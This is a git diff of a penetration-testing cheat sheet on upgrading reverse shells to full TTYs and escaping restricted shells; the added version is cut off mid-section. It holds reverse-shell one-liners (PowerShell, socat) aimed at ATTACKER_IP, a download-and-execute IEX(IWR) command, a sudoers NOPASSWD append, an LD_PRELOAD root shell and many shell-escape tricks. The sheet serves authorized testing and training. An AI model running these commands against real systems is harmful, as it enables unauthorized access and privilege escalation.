-echo os.system('/bin/bash')
-```
-
-### Using `env`
-
-```bash
-env /bin/bash
-```
-
-### Using GNU Screen
-
-```bash
-screen
-```
-
----
-
-## 2. Upgrading to a Fully Interactive TTY
-
-Spawning a PTY (step 1) gives you a better prompt but you still lack tab completion, arrow keys, Ctrl+C handling, and proper terminal sizing. The following methods give you a **fully interactive** shell.
-
-### Method 1: Python + stty (The Classic — Most Reliable)
-
-This is the standard method used by most pentesters. It works with any netcat-caught shell.
-
-**Step 1 — On the target (in your reverse shell):**
-
-```bash
-python3 -c 'import pty; pty.spawn("/bin/bash")'
-```
-
-**Step 2 — Background the shell:**
-
-Press `Ctrl+Z` to suspend the reverse shell and return to your local terminal.
-
-**Step 3 — On your local machine (attacker):**
-
-```bash
-# Note your terminal info (do this BEFORE the stty raw command)
-echo $TERM # e.g. xterm-256color
-stty -a # note rows and columns (e.g. rows 38; columns 116)
-
-# Set raw mode (this is the key step)
-stty raw -echo; fg
-```
-
-> [!warning] zsh Users
-> If you're using **zsh** (or Oh My Zsh), `stty raw -echo` and `fg` must be on the **same line** separated by a semicolon: `stty raw -echo; fg`. In zsh, if you run them as separate commands, the `-echo` effect is lost before `fg` executes. Alternatively, switch to `bash` before starting your listener.
-
-**Step 4 — Back in the reverse shell (after fg brings it back):**
-
-```bash
-reset
-export SHELL=bash
-export TERM=xterm-256color
-stty rows 38 columns 116
-```
-
-You now have a **fully interactive TTY** with tab completion, arrow key history, Ctrl+C handling, clear screen, and proper terminal sizing.
-
-### Method 2: `script` + stty (When Python is Unavailable)
-
-Replace the Python step with:
-
-```bash
-/usr/bin/script -qc /bin/bash /dev/null
-```
-
-Then continue with the same `Ctrl+Z` → `stty raw -echo; fg` → `reset` → `export` workflow from Method 1.
-
-### Method 3: Socat (Full TTY in One Step)
-
-If socat is available on both machines, this gives an instant fully interactive shell — no stty trickery needed.
-
-**Attacker (listener):**
-
-```bash
-socat file:$(tty),raw,echo=0 tcp-listen:4444
-```
-
-**Target (reverse shell):**
-
-```bash
-socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ATTACKER_IP>:4444
-```
-
-If socat isn't installed on the target, upload a static binary:
-
-```bash
-# Download static socat to target
-wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat
-chmod +x /tmp/socat
-/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ATTACKER_IP>:4444
-```
-
-### Method 4: rlwrap (Attacker-Side Enhancement)
-
-`rlwrap` wraps your netcat listener and gives you readline features (arrow keys, history, Ctrl+L to clear) without modifying the target at all. Install with `sudo apt install rlwrap`.
-
-```bash
-# Enhanced listener
-rlwrap nc -lvnp 4444
-
-# With history-based completion
-rlwrap -r -f . nc -lvnp 4444
-```
-
-> [!note]
-> `rlwrap` gives you arrow keys and history on your side but doesn't fix `su`, `ssh`, or Ctrl+C on the target. It's a quick improvement, not a full upgrade. Combine it with the Python + stty method for the best experience.
-
-### Method 5: pwncat-cs (Automated — Recommended)
-
-[pwncat-cs](https://github.com/calebstewart/pwncat) (Caleb Stewart's version) automatically upgrades shells to fully interactive PTYs with file transfer, persistence, and enumeration built in.
-
-```bash
-# Install
-pip install pwncat-cs
-
-# Listener (catches and auto-upgrades)
-pwncat-cs -lp 4444
-
-# Or connect to a bind shell
-pwncat-cs connect -t <TARGET_IP> -p 4444
-```
-
-Once connected, press `Ctrl+D` to drop into a local pwncat prompt for file transfers, enumeration, etc.
-
----
-
-## 3. Listener Setup (Attacker Side)
-
-### Netcat Listeners
-
-```bash
-# Standard
-nc -lvnp 4444
-
-# With rlwrap (arrow keys + history)
-rlwrap nc -lvnp 4444
-
-# Netcat OpenBSD (no -e support)
-nc -lvnp 4444
-
-# Ncat (Nmap's netcat — supports SSL)
-ncat --ssl -lvnp 4444
-```
-
-### Socat Listener (Full TTY)
-
-```bash
-socat file:$(tty),raw,echo=0 tcp-listen:4444
-```
-
-### Metasploit multi/handler
-
-```bash
-msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/shell_reverse_tcp; set LHOST <IP>; set LPORT 4444; run"
-```
-
-### pwncat-cs
-
-```bash
-pwncat-cs -lp 4444
-```
-
----
-
-## 4. Escaping Restricted Shells
-
-Restricted shells (rbash, rksh, rzsh, lshell, rssh) limit what commands you can run, prevent `cd`, restrict PATH changes, and block redirection. The goal is to break out into an unrestricted shell.
-
-### Reconnaissance — Identify Your Restrictions
-
-```bash
-# What shell am I in?
-echo $SHELL
-echo $0
-cat /etc/passwd | grep $(whoami)
-
-# What can I do?
-echo $PATH
-echo /usr/bin/* # Globbing to list available binaries
-echo /bin/*
-echo /usr/local/bin/*
-
-# Double-tap Tab to list available commands
-# (press Tab twice at an empty prompt)
-
-# Check for environment variables
-env
-export
-
-# Check sudo permissions
-sudo -l
-
-# Check SUID binaries
-find / -perm -4000 -type f 2>/dev/null
-```
-
-> [!info] Common Restricted Shell Error Messages
-> - **rbash:** `bash: /usr/bin/command: restricted: cannot specify '/' in command names`
-> - **lshell:** `*** forbidden command: command`
-> - **rksh:** `ksh: command: restricted`
-> - **rzsh:** `zsh: restricted`
-
-### Direct Shell Escape Techniques
-
-#### If `/` is Allowed in Commands
-
-```bash
-/bin/sh
-/bin/bash
-/bin/dash
-```
-
-#### Copy a Shell to Your PATH
-
-```bash
-cp /bin/bash .
-./bash
-```
-
-#### Modify PATH
-
-```bash
-export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
-```
-
-#### BASH_CMDS Trick (rbash)
-
-```bash
-BASH_CMDS[a]=/bin/sh;a
-# Then fix your PATH:
-export PATH=$PATH:/bin:/usr/bin
-```
-
-#### Assign Shell in a Variable
-
-```bash
-SHELL=/bin/bash
-exec /bin/bash
-```
-
-### Escape via Text Editors
-
-#### vi / vim
-
-```vim
-:set shell=/bin/bash
-:shell
-```
-
-Or:
-
-```vim
-:!/bin/bash
-```
-
-#### ed
-
-```
-!'/bin/bash'
-```
-
-Or:
-
-```
-ed
-!/bin/sh
-```
-
-#### ne (Nice Editor)
-
-Load a shell command from within ne's command execution feature, or abuse its config file loading to read arbitrary files.
-
-#### nano
-
-```
-Ctrl+R → Ctrl+X → command to execute
-```
-
-> [!note]
-> This executes a command from within nano's "Read File" → "Execute Command" feature.
-
-### Escape via Pager Commands
-
-#### less
-
-```bash
-less /etc/passwd
-!/bin/bash
-```
-
-#### more
-
-```bash
-more /etc/passwd
-!/bin/bash
-```
-
-> [!tip]
-> `less` and `more` only drop to a shell prompt if the file is longer than one screen. If needed, use a large file or pipe: `cat /etc/passwd /etc/passwd /etc/passwd | less`
-
-#### man
-
-```bash
-man ls
-!/bin/bash
-```
-
-#### pinfo
-
-```bash
-pinfo ls
-! # Press ! at the pinfo prompt
-/bin/bash
-```
-
-### Escape via Programming Languages
-
-#### Python
-
-```bash
-python3 -c 'import os; os.system("/bin/bash")'
-python3 -c 'import pty; pty.spawn("/bin/bash")'
-python3 -c '__import__("subprocess").call(["/bin/bash"])'
-```
-
-#### Perl
-
-```bash
-perl -e 'exec "/bin/bash";'
-perl -e 'system("/bin/bash");'
-```
-
-#### Ruby
-
-```bash
-ruby -e 'exec "/bin/bash"'
-```
-
-#### Lua
-
-```bash
-lua -e 'os.execute("/bin/bash")'
-```
-
-#### PHP
-
-```bash
-php -r 'system("/bin/bash");'
-```
-
-#### IRB (Interactive Ruby)
-
-```ruby
-exec "/bin/sh"
-```
-
-#### Node.js
-
-```bash
-node -e 'require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})'
-```
-
-#### Expect
-
-```bash
-expect -c 'spawn /bin/bash; interact'
-```
-
-### Escape via System Commands
-
-#### awk
-
-```bash
-awk 'BEGIN {system("/bin/bash")}'
-```
-
-#### find
-
-```bash
-find / -exec /bin/bash \; -quit
-```
-
-#### ftp
-
-```bash
-ftp
-!/bin/bash
-```
-
-#### gdb
-
-```bash
-gdb -nx -ex '!bash' -ex quit
-```
-
-#### nmap (Legacy)
-
-```bash
-# Only works on old nmap versions (pre-2009)
-nmap --interactive
-!sh
-```
-
-#### git
-
-```bash
-git help config
-!/bin/bash
-
-# Or
-git -p help
-!/bin/bash
-
-# Or via GIT_PAGER
-PAGER='/bin/bash' git -p help
-```
-
-#### zip
-
-```bash
-zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
-```
-
-#### tar
-
-```bash
-tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
-```
-
-#### tee
-
-```bash
-echo "user ALL=(ALL) NOPASSWD: ALL" | tee -a /etc/sudoers
-```
-
-#### script
-
-```bash
-script -qc /bin/bash /dev/null
-```
-
-#### env
-
-```bash
-env /bin/bash
-```
-
-#### scp
-
-```bash
-TF=$(mktemp)
-echo 'bash 0<&2 1>&2' > $TF
-chmod +x $TF
-scp -S $TF x y:
-```
-
-### Escape via SSH
-
-If you have SSH credentials for the restricted user:
-
-```bash
-# Force a pseudo-terminal with a proper shell
-ssh user@target -t "/bin/bash"
-ssh user@target -t "/bin/sh"
-
-# Bypass profile/bashrc restrictions
-ssh user@target -t "bash --noprofile"
-ssh user@target -t "bash --norc"
-ssh user@target -t "bash --noprofile --norc"
-
-# ShellShock (CVE-2014-6271) — if vulnerable
-ssh user@target -t "() { :; }; /bin/bash"
-```
-
-### Escape via Environment Variables
-
-#### Overwrite PATH
-
-```bash
-export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
-```
-
-#### LD_PRELOAD (if sudo is available)
-
-```bash
-# If sudo -l shows env_keep+=LD_PRELOAD
-# Compile a shared library:
-# --- shell.c ---
-# #include <stdio.h>
-# #include <sys/types.h>
-# #include <stdlib.h>
-# void _init() {
-# unsetenv("LD_PRELOAD");
-# setgid(0);
-# setuid(0);
-# system("/bin/bash");
-# }
-gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles
-sudo LD_PRELOAD=/tmp/shell.so <allowed_command>
-```
-
-#### BASH_ENV / ENV
-
-```bash
-# If the restricted shell sources BASH_ENV on startup
-echo '/bin/bash' > /tmp/evil.sh
-export BASH_ENV=/tmp/evil.sh
-bash
-```
-
-### Escape via Startup Files
-
-If you can write to `~/.bashrc`, `~/.bash_profile`, `~/.profile`, or similar:
-
-```bash
-# Add to .bashrc or .profile
-/bin/bash
-
-# Or modify PATH
-PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
-```
-
-Then log out and log back in (or source the file).
-
-### Escape via Wildcards & Globbing
-
-If `echo` is available but `ls` is not:
-
-```bash
-echo /usr/bin/* # List binaries
-echo /home/* # List home directories
-echo /etc/pass* # Read passwd
-```
-
-If `cp` is available:
-
-```bash
-cp /bin/bash /home/user/allowed_dir/bash
-./allowed_dir/bash
-```
-
----
-
-## 5. Windows Interactive Shells
-
-### PowerShell Reverse Shells
-
-```powershell
-# One-liner
-$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
-```
-
-### ConPtyShell (Fully Interactive Windows Shell)
-
-Uses Windows Pseudo Console (ConPty) — available on Windows 10/Server 2019 build 17763+. This gives a **true interactive shell** with full terminal features.
-
-**Attacker:**
-
-```bash
-stty raw -echo; (stty size; cat) | nc -lvnp 3001
-```
-
-**Target (PowerShell):**
-
-```powershell
-IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell <ATTACKER_IP> 3001
-```
-
-### Upgrading Windows Shells
-
-```powershell
-# Check if you're in a constrained language mode
-$ExecutionContext.SessionState.LanguageMode
-
-# Bypass constrained language mode (if possible)
-powershell -version 2 # Downgrade to PS v2 (no AMSI, no CLM)
-```
-
----
-
-## 6. Quick Reference
-
-### Shell Upgrade Workflow (Copy-Paste Ready)
-
-```bash
-# ===== STEP 1: On target — spawn PTY =====
-python3 -c 'import pty; pty.spawn("/bin/bash")'
-# If no Python:
-/usr/bin/script -qc /bin/bash /dev/null
-
-# ===== STEP 2: Background the shell =====
-# Press: Ctrl+Z
-
-# ===== STEP 3: On attacker — configure terminal =====
-stty raw -echo; fg
-# (for zsh users, this MUST be one line)
-
-# ===== STEP 4: Back on target — finalise =====
-reset
-export SHELL=bash
-export TERM=xterm-256color
-stty rows <ROWS> columns <COLS>
-```
-
-### One-Liner TTY Spawn Quick Reference
-
-| Language/Tool | Command |
-|---------------|---------|
-| Python 3 | `python3 -c 'import pty; pty.spawn("/bin/bash")'` |
-| Python 2 | `python -c 'import pty; pty.spawn("/bin/bash")'` |
-| script | `/usr/bin/script -qc /bin/bash /dev/null` |
-| Perl | `perl -e 'exec "/bin/bash";'` |
-| Ruby | `ruby -e 'exec "/bin/bash"'` |
-| Lua | `lua -e 'os.execute("/bin/bash")'` |
-| Awk | `awk 'BEGIN {system("/bin/bash")}'` |
-| Find | `find / -exec /bin/bash \; -quit` |
-| Expect | `expect -c 'spawn /bin/bash; interact'` |
-| sh -i | `/bin/sh -i` |
-| env | `env /bin/bash` |
-| Node.js | `node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'` |
-
-### Restricted Shell Escape Quick Reference
-
-| Vector | Technique |
-|--------|-----------|
-| **BASH_CMDS** | `BASH_CMDS[a]=/bin/sh;a` then `export PATH=$PATH:/bin:/usr/bin` |
-| **vi/vim** | `:set shell=/bin/bash` → `:shell` or `:!/bin/bash` |
-| **ed** | `!'/bin/bash'` |
-| **less/more/man** | `!/bin/bash` from within the pager |
-| **awk** | `awk 'BEGIN {system("/bin/bash")}'` |
-| **find** | `find / -exec /bin/bash \; -quit` |
-| **python** | `python3 -c 'import os; os.system("/bin/bash")'` |
-| **perl** | `perl -e 'exec "/bin/bash";'` |
-| **ftp** | `!/bin/bash` from the ftp prompt |
-| **git** | `git help config` → `!/bin/bash` |
-| **ssh** | `ssh user@host -t "bash --noprofile"` |
-| **script** | `/usr/bin/script -qc /bin/bash /dev/null` |
-| **nano** | `Ctrl+R` → `Ctrl+X` → type command |
-| **zip** | `zip /tmp/x.zip /tmp/x -T --unzip-command="sh -c /bin/bash"` |
-| **tar** | `tar cf /dev/null x --checkpoint=1 --checkpoint-action=exec=/bin/bash` |
-| **gdb** | `gdb -nx -ex '!bash' -ex quit` |
-| **env** | `env /bin/bash` |
-| **cp** | `cp /bin/bash .; ./bash` |
-| **PATH** | `export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin` |
-
-### Socat Full TTY (Copy-Paste Ready)
-
-```bash
-# Attacker:
-socat file:$(tty),raw,echo=0 tcp-listen:4444
-
-# Target:
-socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ATTACKER_IP>:4444
-```
-
----
-
-## Resources
-
-- [GTFOBins](https://gtfobins.github.io/) — Unix binaries that can be exploited for shell escapes, file reads, SUID abuse, and more.
-- [ropnop — Upgrading Simple Shells](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/) — The original definitive blog post on TTY upgrades.
-- [PentestMonkey — Post-Exploitation Without a TTY](https://pentestmonkey.net/blog/post-exploitation-without-a-tty) — Classic reference.
-- [Exploit-DB — Linux Restricted Shell Bypass Guide](https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf) — Comprehensive PDF.
-- [FireShell — Restricted Shell Escaping Techniques](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/) — Deep dive with lshell examples.
-- [HackTricks — Full TTYs](https://book.hacktricks.xyz/generic-methodologies-and-resources/reverse-shells/full-ttys) — Always up-to-date reference.
-- [pwncat-cs](https://github.com/calebstewart/pwncat) — Automated shell upgrade + post-exploitation framework.
-- [ConPtyShell](https://github.com/antonioCoco/ConPtyShell) — Fully interactive Windows reverse shell.
-- [Static Binaries (socat, etc.)](https://github.com/andrew-d/static-binaries) — Pre-compiled static binaries for targets without package managers.
-
----
-
-*Last updated: 2025*
diff --git a/src/content/sheets/exploitation/tty-upgrades-and-restricted-shells.md b/src/content/sheets/exploitation/tty-upgrades-and-restricted-shells.md
@@ -0,0 +1,811 @@
+---
+title: "TTY Upgrades & Restricted Shells (CPTS)"
+description: "Upgrading dumb shells to full TTYs and escaping restricted shells — python pty, script, stty, socat, rlwrap, pwncat and ConPtyShell."
+category: exploitation
+tags: ["exploitation", "privilege-escalation"]
+tools: ["Metasploit", "Meterpreter", "Evil-WinRM", "socat", "PowerShell"]
+difficulty: intermediate
+updated: "2026-08-28"
+source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/06 - TTY Upgrades and Restricted Shells - CPTS Cheat Sheet.md"
+---
+# TTY Upgrades & Restricted Shells — CPTS Cheat Sheet
+
+## Summary
+
+A raw reverse shell carries bytes, but it usually has no controlling terminal, job control, terminal geometry, or reliable signal handling. The upgrade has two distinct parts: **allocate a PTY on the target**, then **place the local terminal in raw mode and foreground the connection**. Commands such as `/bin/bash -i` improve the prompt but do not allocate a PTY by themselves.
+
+> [!danger]+ Authorized-use boundary
+>
+> 1. Use these procedures only on systems you own or are explicitly authorized to test.
+> 2. A TTY upgrade changes session behavior but not privileges. Treat a restricted-shell escape and privilege escalation as separate findings.
+> 3. Do not wipe history or logs. Record staged binaries/scripts and remove only assessment artifacts during cleanup.
+> 4. Capture your local terminal state before `stty raw -echo` so a dropped connection does not leave the terminal unusable.
+
+## Terms that matter
+
+| Term | Meaning | What it gives you |
+|---|---|---|
+| Shell | Command interpreter such as `sh`, `bash`, `cmd.exe` or PowerShell | Executes commands |
+| Interactive shell | Reads commands from a user and may provide history/readline | Better prompt; still may lack a terminal |
+| PTY | Pseudo-terminal master/slave pair | Terminal semantics for a child process |
+| Controlling TTY | Terminal associated with a session/process group | Job control and signals |
+| Raw mode | Local terminal passes keystrokes without local line processing/echo | Lets the remote PTY handle Ctrl+C, arrows and editing |
+| `TERM` | Terminal capability name | Tells full-screen programs how to render |
+| Geometry | Rows and columns | Prevents wrapping and broken ncurses displays |
+
+```mermaid
+%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%%
+flowchart LR
+ A["Raw shell"] --> B{"tty?"}
+ B -->|"not a tty"| C{"PTY allocator present?"}
+ C -->|"python / script"| D["Spawn PTY"]
+ C -->|"socat"| E["Start PTY-backed socat shell"]
+ C -->|"none"| F["Interactive shell only\nor transfer a reviewed tool"]
+ D --> G["Ctrl+Z"]
+ G --> H["Local raw mode + fg"]
+ H --> I["reset · TERM · rows/cols"]
+ E --> I
+ F --> J["Limited shell\nno reliable job control"]
+ I --> K["Verify tty + signals"]
+```
+
+---
+
+## 0 · Gold-path upgrade card
+
+Use this sequence for a netcat-style Linux reverse shell.
+
+### Target — allocate a PTY
+
+```bash
+python3 -c 'import pty; pty.spawn("/bin/bash")'
+```
+
+If Python is unavailable:
+
+```bash
+script -qc /bin/bash /dev/null
+```
+
+Press **Ctrl+Z** to suspend the connection and return to the local shell.
+
+### Attacker — save terminal state, enter raw mode, foreground
+
+```bash
+OLD_STTY=$(stty -g)
+
+if read -r LOCAL_ROWS LOCAL_COLS < <(stty size </dev/tty 2>/dev/null); then
+ LOCAL_TERM=${TERM:-xterm}
+ printf "Paste remotely after fg:\nexport TERM='%s'\nstty rows %s cols %s\n" \
+ "$LOCAL_TERM" "$LOCAL_ROWS" "$LOCAL_COLS"
+else
+ printf 'No controlling local TTY—do not enable raw mode yet.\n' >&2
+fi
+```
+
+Only after the generator prints populated rows and columns:
+
+```bash
+stty raw -echo; fg
+```
+
+> [!important]+ The semicolon matters
+> Run `stty raw -echo; fg` as one line. This is especially important under zsh. After `fg`, press Enter once or twice if the prompt is not redrawn.
+
+### Target — initialize the terminal
+
+```bash
+export SHELL=/bin/bash
+# Paste the two exact export/stty lines printed by the attacker terminal.
+reset
+```
+
+The generator reads the dimensions of the **current attacker TTY**, so it does not guess `80` columns. Its output will look like this, with values matching the terminal or tmux pane in front of you:
+
+```bash
+export TERM='xterm-256color'
+stty rows 43 cols 172
+```
+
+### Verify
+
+```bash
+tty
+stty -a
+ps -o pid,ppid,sid,tty,stat,comm -p $$
+```
+
+Expected: `tty` returns a `/dev/pts/...` path, the process has a TTY, arrow keys work, and Ctrl+C interrupts the foreground command without killing the connection.
+
+### Restore the attacker terminal after exit or failure
+
+```bash
+stty "$OLD_STTY"
+reset
+```
+
+If the variable is unavailable, type this blindly and press Enter:
+
+```bash
+stty sane
+reset
+```
+
+---
+
+## 1 · Diagnose the shell before changing it
+
+### Target checks
+
+```bash
+tty
+printf 'shell=%s argv0=%s term=%s\n' "$SHELL" "$0" "$TERM"
+ps -o pid,ppid,sid,tty,stat,comm -p $$
+
+for fd in 0 1 2; do
+ if test -t "$fd"; then
+ printf 'fd %s is a tty\n' "$fd"
+ else
+ printf 'fd %s is not a tty\n' "$fd"
+ fi
+done
+
+readlink /proc/$$/fd/0 2>/dev/null
+```
+
+### Capability checklist
+
+| Test | Healthy interactive result | Raw-shell symptom |
+|---|---|---|
+| `tty` | `/dev/pts/N` | `not a tty` |
+| `test -t 0` | success | failure |
+| Ctrl+C on `sleep 30` | interrupts `sleep` only | kills/freezes the session |
+| Arrow keys | edit history | print `^[[A` |
+| `su - user` / `ssh host` | prompts normally | no prompt, hangs or exits |
+| `vim` / `top` | renders correctly | corrupted screen |
+| `stty size` | real rows/columns | ioctl error or `0 0` |
+
+> [!note]+ Do not confuse shell quality with policy
+> A working PTY does not bypass PAM, sudo policy, AppArmor, SELinux, application control, or a restricted login shell. It only provides the terminal behavior those tools expect.
+
+---
+
+## 2 · PTY allocators and fallback shells
+
+### What actually allocates a PTY?
+
+| Method | Allocates PTY? | Notes |
+|---|---:|---|
+| Python `pty.spawn` | Yes | Most common Unix fallback |
+| util-linux `script` | Yes | Often installed when Python is absent |
+| socat `pty` option | Yes | Best signal/session handling when available |
+| Expect `spawn ...; interact` | Yes | Useful on appliances with Expect |
+| SSH `-t` / `-tt` | Yes | Server policy still applies |
+| `bash -i`, Perl/Ruby `exec`, awk `system` | No | Interactive process only; still useful as a fallback |
+| `rlwrap nc` | No | Local readline wrapper, not a remote PTY |
+
+### Python
+
+```bash
+python3 -c 'import pty; pty.spawn("/bin/bash")'
+python -c 'import pty; pty.spawn("/bin/bash")'
+```
+
+If Bash is unavailable:
+
+```bash
+python3 -c 'import pty; pty.spawn("/bin/sh")'
+```
+
+### util-linux `script`
+
+```bash
+script -qc /bin/bash /dev/null
+```
+
+Alternative accepted by some util-linux builds:
+
+```bash
+script -c /bin/bash /dev/null
+```
+
+The output file is `/dev/null` so the command does not leave a terminal transcript on the target.
+
+### Expect
+
+```bash
+expect -c 'spawn /bin/bash; interact'
+```
+
+### Socat — full PTY connection
+
+Attacker:
+
+```bash
+socat file:$(tty),raw,echo=0 TCP-LISTEN:4444,reuseaddr
+```
+
+Target:
+
+```bash
+socat TCP:10.10.14.2:4444 EXEC:'/bin/bash -li',pty,stderr,setsid,sigint,sane
+```
+
+> [!warning]+ Staging a static binary
+> Transfer only a reviewed binary appropriate for the target architecture and engagement. Record its hash and destination, use a scoped writable directory, and remove it when finished.
+
+### Interactive-only fallbacks — not a PTY
+
+```bash
+/bin/bash -i
+/bin/sh -i
+perl -e 'exec "/bin/bash";'
+ruby -e 'exec "/bin/bash"'
+awk 'BEGIN {system("/bin/bash")}'
+env /bin/bash -i
+```
+
+These may improve command parsing or prompt behavior, but `tty` will still report `not a tty`. Continue with a real PTY allocator when possible.
+
+---
+
+## 3 · Listener choices
+
+### Netcat
+
+```bash
+nc -lvnp 4444
+```
+
+Netcat is simple and widely available, but it does not allocate a PTY.
+
+### rlwrap + netcat
+
+```bash
+rlwrap -r -f . nc -lvnp 4444
+```
+
+`rlwrap` adds local history and line editing. It does not fix remote job control, terminal sizing, `su` or `ssh` prompts.
+
+### Ncat with TLS
+
+```bash
+ncat --ssl -lvnp 4444
+```
+
+The connecting side must also speak Ncat TLS. Encryption does not add PTY behavior.
+
+### Socat
+
+```bash
+socat file:$(tty),raw,echo=0 TCP-LISTEN:4444,reuseaddr
+```
+
+### pwncat-cs
+
+```bash
+pwncat-cs -lp 4444
+```
+
+Use automation only after confirming it is permitted by the engagement and compatible with the target. Record any files, persistence or enumeration actions a framework performs.
+
+### Metasploit handler
+
+```text
+use exploit/multi/handler
+set PAYLOAD linux/x64/shell_reverse_tcp
+set LHOST 10.10.14.2
+set LPORT 4444
+run
+```
+
+A handler catches the payload; shell quality still depends on the session type and subsequent PTY allocation.
+
+---
+
+## 4 · Terminal geometry, TERM and locale
+
+### What are you actually copying?
+
+| Value | What it means | How to discover it locally |
+|---|---|---|
+| Rows / columns | Current kernel-reported size of the terminal or tmux pane | `stty size </dev/tty` |
+| `TERM` | A terminal **capability/terminfo name** used by programs such as `vim`, `less` and `top` | `printf '%s\n' "$TERM"` |
+| Terminal emulator | The graphical program, such as Ghostty, Kitty, Alacritty or Foot | Environment and process-tree checks below |
+
+`TERM` is not necessarily the emulator's product name. Inside tmux it is commonly `tmux-256color` or `screen-256color`, even when the visible emulator is Ghostty or Kitty. For the remote session, correct geometry and a `TERM` entry installed on the target matter more than the emulator brand.
+
+### Discover the exact local values
+
+```bash
+printf 'TTY=%s\n' "$(tty)"
+printf 'TERM=%s\n' "${TERM:-unset}"
+stty size </dev/tty
+stty -a </dev/tty | sed -n '1p'
+tput lines
+tput cols
+```
+
+`stty size` prints `ROWS COLS`. Run it from the attacker terminal that owns the listener—not through the remote shell. If the listener is inside tmux, it correctly reports the current pane size.
+
+To identify the visible emulator as well:
+
+```bash
+printf 'TERM_PROGRAM=%s\n' "${TERM_PROGRAM:-unset}"
+printf 'TERMINAL=%s\n' "${TERMINAL:-unset}"
+ps -o pid,ppid,tty,comm -p $$ -p $PPID
+pstree -s $$
+```
+
+Environment hints are not universal, and tmux/SSH may sit between the shell and emulator. Do not invent a `TERM` value from the application name; use the current `$TERM`, then test whether the target has its terminfo entry.
+
+### Generate the exact remote commands
+
+Run this locally after suspending the connection with Ctrl+Z and **before** enabling raw mode:
+
+```bash
+if read -r LOCAL_ROWS LOCAL_COLS < <(stty size </dev/tty 2>/dev/null); then
+ LOCAL_TERM=${TERM:-xterm}
+ printf "export TERM='%s'\nstty rows %s cols %s\n" \
+ "$LOCAL_TERM" "$LOCAL_ROWS" "$LOCAL_COLS"
+else
+ printf 'No controlling local TTY; run this from the listener terminal.\n' >&2
+fi
+```
+
+Copy the two printed lines to the target after `fg`. A compact Bash/zsh version is:
+
+```bash
+read -r TTY_ROWS TTY_COLS < <(stty size </dev/tty) && printf "export TERM='%s'; stty rows %s cols %s\n" "${TERM:-xterm}" "$TTY_ROWS" "$TTY_COLS"
+```
+
+> [!warning]+ Why not always use 80 columns?
+> `80` is a historical default, not a measurement. A guessed size causes early wrapping, misplaced prompts and broken full-screen programs. Capture the current size again whenever the local window or tmux pane changes.
+
+### tmux and multiplexer panes
+
+```bash
+# stty already reports the active pane's PTY size.
+stty size </dev/tty
+
+# Cross-check using tmux's own pane values.
+tmux display-message -p '#{pane_height} #{pane_width}'
+
+# See the capability name exposed inside the pane.
+printf 'TERM=%s\n' "$TERM"
+```
+
+If the local value is `tmux-256color`, `screen-256color` or an emulator-specific name such as `xterm-kitty`, the target may not have matching terminfo data. That is a compatibility issue, not a geometry issue.
+
+### Apply and validate on the target
+
+```bash
+# Example only—paste the values produced by your local generator.
+export TERM='xterm-256color'
+stty rows 43 cols 172
+
+printf 'TERM=%s\n' "$TERM"
+stty size
+tput lines
+tput cols
+```
+
+If applications report an unknown terminal or render badly, select the first compatible terminfo entry available on the target:
+
+```bash
+if command -v infocmp >/dev/null 2>&1; then
+ for CANDIDATE_TERM in "$TERM" xterm-256color xterm vt100; do
+ if infocmp "$CANDIDATE_TERM" >/dev/null 2>&1; then
+ export TERM="$CANDIDATE_TERM"
+ break
+ fi
+ done
+else
+ export TERM=xterm
+fi
+
+printf 'Using TERM=%s\n' "$TERM"
+```
+
+Optional locale repair for broken characters:
+
+```bash
+locale
+export LC_ALL=C
+```
+
+Use `LC_ALL=C` only when needed; it changes sorting, messages and character handling for the session.
+
+### Resize later
+
+The remote PTY does not normally receive local `SIGWINCH` resize events through a simple netcat chain. Re-run the local generator, then paste its new `stty rows ... cols ...` command remotely. Socat, SSH, tmux and terminal-aware frameworks may propagate resizing automatically; verify with `stty size` rather than assuming they did.
+
+---
+
+## 5 · Signal and job-control verification
+
+```bash
+sleep 30
+```
+
+Press Ctrl+C. The `sleep` process should stop while the shell survives.
+
+```bash
+sleep 30 &
+jobs
+fg %1
+```
+
+Press Ctrl+Z, then check:
+
+```bash
+jobs
+bg %1
+fg %1
+```
+
+> [!warning]+ Test with disposable commands
+> Do not test signal handling against a database client, package manager, file editor or exploit process that could be left half-written.
+
+---
+
+## 6 · SSH-native terminal allocation and escapes
+
+If valid SSH access exists, prefer SSH’s native PTY allocation over stabilizing netcat.
+
+```bash
+ssh -t user@target
+ssh -tt user@target 'bash --noprofile --norc -i'
+```
+
+A second `-t` forces allocation even when the local client has no TTY.
+
+### OpenSSH escape sequences
+
